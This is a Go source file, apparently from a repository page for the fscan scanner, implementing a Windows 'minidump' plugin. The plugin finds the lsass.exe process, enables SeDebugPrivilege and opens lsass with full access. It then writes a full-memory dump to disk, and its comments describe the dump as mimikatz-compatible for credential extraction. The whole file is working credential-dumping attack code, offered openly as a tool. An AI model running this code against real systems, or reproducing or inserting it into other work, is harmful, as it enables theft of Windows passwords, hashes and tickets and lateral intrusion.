fscan/Plugins/local/minidump/plugin.go

626 lines
18 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build windows
package minidump
import (
"context"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"time"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// MiniDumpPlugin 内存转储插件
type MiniDumpPlugin struct {
*local.BaseLocalPlugin
connector *MiniDumpConnector
}
// MiniDumpConnector 内存转储连接器
type MiniDumpConnector struct {
*local.BaseLocalConnector
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// ProcessManager Windows进程管理器
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// NewMiniDumpPlugin 创建内存转储插件
func NewMiniDumpPlugin() *MiniDumpPlugin {
metadata := &base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
}
connector := NewMiniDumpConnector()
plugin := &MiniDumpPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限
plugin.SetRequiresPrivileges(true)
return plugin
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// NewMiniDumpConnector 创建内存转储连接器
func NewMiniDumpConnector() *MiniDumpConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &MiniDumpConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立内存转储连接
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
return nil, err
}
common.LogDebug("开始加载系统DLL...")
// 加载系统DLL - 添加错误处理
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
common.LogDebug("kernel32.dll 加载成功")
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
common.LogDebug("Dbghelp.dll 加载成功")
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
common.LogDebug("advapi32.dll 加载成功")
c.kernel32 = kernel32
c.dbghelp = dbghelp
c.advapi32 = advapi32
common.LogSuccess("所有DLL加载完成")
return localConn, nil
}
// Close 关闭连接
func (c *MiniDumpConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// ScanLocal 执行内存转储扫描
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
defer func() {
if r := recover(); r != nil {
common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
}
}()
common.LogBase("开始进程内存转储...")
// 检查管理员权限
if !p.isAdmin() {
common.LogError("需要管理员权限才能执行内存转储")
return &base.ScanResult{
Success: false,
Error: errors.New("需要管理员权限才能执行内存转储"),
}, nil
}
common.LogSuccess("已确认具有管理员权限")
// 建立连接
common.LogDebug("正在建立连接...")
conn, err := p.connector.Connect(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("连接失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
common.LogSuccess("连接建立成功")
// 创建进程管理器
common.LogDebug("正在创建进程管理器...")
pm := &ProcessManager{
kernel32: p.connector.kernel32,
dbghelp: p.connector.dbghelp,
advapi32: p.connector.advapi32,
}
common.LogSuccess("进程管理器创建成功")
// 查找lsass.exe进程
common.LogDebug("正在查找lsass.exe进程...")
pid, err := pm.findProcess("lsass.exe")
if err != nil {
common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
}, nil
}
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
// 提升权限
common.LogDebug("正在提升SeDebugPrivilege权限...")
if err := pm.elevatePrivileges(); err != nil {
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
// 权限提升失败不是致命错误,继续尝试
common.LogBase("权限提升失败,尝试继续执行...")
} else {
common.LogSuccess("权限提升成功")
}
// 创建转储文件
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
// 执行转储
common.LogDebug("开始执行内存转储...")
// 使用带超时的Windows API进行内存转储
common.LogDebug("开始使用Windows API进行内存转储...")
// 创建一个带超时的context完整转储需要更长时间
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
defer cancel()
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
if err != nil {
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
// 创建错误信息文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
pid, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("内存转储失败: %v", err),
}, nil
}
// 获取文件信息
fileInfo, err := os.Stat(outputPath)
var fileSize int64
if err == nil {
fileSize = fileInfo.Size()
}
result := &base.ScanResult{
Success: true,
Service: "MiniDump",
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
Extra: map[string]interface{}{
"process_name": "lsass.exe",
"process_id": pid,
"dump_file": outputPath,
"file_size": fileSize,
},
}
common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize))
return result, nil
}
// GetLocalData 获取内存转储本地数据
func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
data["plugin_type"] = "minidump"
data["target_process"] = "lsass.exe"
data["requires_admin"] = true
return data, nil
}
// ExtractData 提取内存数据
func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "内存转储完成可使用mimikatz等工具分析",
Data: data,
}, nil
}
// isAdmin 检查是否具有管理员权限
func (p *MiniDumpPlugin) isAdmin() bool {
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid)
if err != nil {
return false
}
defer windows.FreeSid(sid)
token := windows.Token(0)
member, err := token.IsMember(sid)
return err == nil && member
}
// ProcessManager 方法实现
// findProcess 查找进程
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// createProcessSnapshot 创建进程快照
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
common.LogDebug("正在创建进程快照...")
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
if err != nil {
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err)
}
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
}
common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle))
return handle, nil
}
// findProcessInSnapshot 在快照中查找进程
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name))
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
if err != nil {
return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err)
}
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
if err != nil {
return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err)
}
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
if err != nil {
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err)
}
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError)
}
processCount := 0
for {
processCount++
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, fmt.Errorf("转换进程名失败: %v", err)
}
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(namePtr)),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
common.LogSuccess(fmt.Sprintf("找到目标进程 %sPID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount))
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name))
return 0, fmt.Errorf("未找到进程: %s", name)
}
// elevatePrivileges 提升权限
func (pm *ProcessManager) elevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
// getCurrentProcess 获取当前进程句柄
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
// dumpProcessWithTimeout 带超时的转储进程内存
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
// 创建一个channel来接收转储结果
resultChan := make(chan error, 1)
go func() {
resultChan <- pm.dumpProcess(pid, outputPath)
}()
select {
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
}
}
// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
common.LogDebug("正在调用MiniDumpWriteDump API...")
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
}
// 使用MiniDumpWithDataSegs获取包含数据段的转储mimikatz兼容
const MiniDumpWithDataSegs = 0x00000001
const MiniDumpWithFullMemory = 0x00000002
const MiniDumpWithHandleData = 0x00000004
const MiniDumpScanMemory = 0x00000010
const MiniDumpWithUnloadedModules = 0x00000020
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
const MiniDumpFilterModulePaths = 0x00000080
const MiniDumpWithProcessThreadData = 0x00000100
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
const MiniDumpWithoutOptionalData = 0x00000400
const MiniDumpWithFullMemoryInfo = 0x00000800
const MiniDumpWithThreadInfo = 0x00001000
const MiniDumpWithCodeSegs = 0x00002000
// 组合多个标志以获得mimikatz可识别的完整转储
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
ret, _, callErr := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(dumpType),
0, 0, 0,
)
common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret))
if ret == 0 {
// 获取更详细的错误信息
lastError := windows.GetLastError()
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
// 尝试使用较小的转储类型作为后备
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
ret, _, callErr = miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(fallbackDumpType),
0, 0, 0,
)
if ret == 0 {
lastError = windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogBase("使用后备转储类型成功创建转储文件")
}
common.LogSuccess("内存转储写入完成")
return nil
}
// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
proc, err := pm.kernel32.FindProc("OpenProcess")
if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
}
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
return handle, nil
}
// createDumpFile 创建转储文件
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile, err := pm.kernel32.FindProc("CreateFileW")
if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
}
handle, _, callErr := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0, 0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
return handle, nil
}
// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
proc.Call(handle)
}
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "minidump",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows进程内存转储插件",
Category: "local",
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewMiniDumpPlugin()
},
))
}